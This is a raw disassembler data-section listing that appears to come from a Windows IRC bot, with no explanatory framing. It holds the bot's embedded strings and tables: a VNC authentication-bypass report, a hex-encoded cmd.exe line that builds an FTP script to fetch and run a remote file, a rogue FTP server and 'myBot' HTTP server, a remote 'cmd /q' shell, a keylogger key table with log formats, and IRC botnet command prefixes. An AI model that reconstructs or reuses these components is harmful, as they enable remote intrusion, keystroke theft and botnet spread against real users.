4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433BC8 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_433BCC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438330o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:0043833Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_433EB4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433EDC db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_4340FC db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434168: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434610 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_434654 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_4346BC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434704 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434744 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_434788 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4347B4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4347E0 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43481C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434848 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_434874 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434A10 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434A44 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434A8C db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434AB4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434AF4 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434B34 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_434B74 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dword_43523C dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 ; DATA XREF: ___:off_435DD4o dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_4354E4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_435514: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435DD8 dd offset off_435DD4 dd offset off_435DD0 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 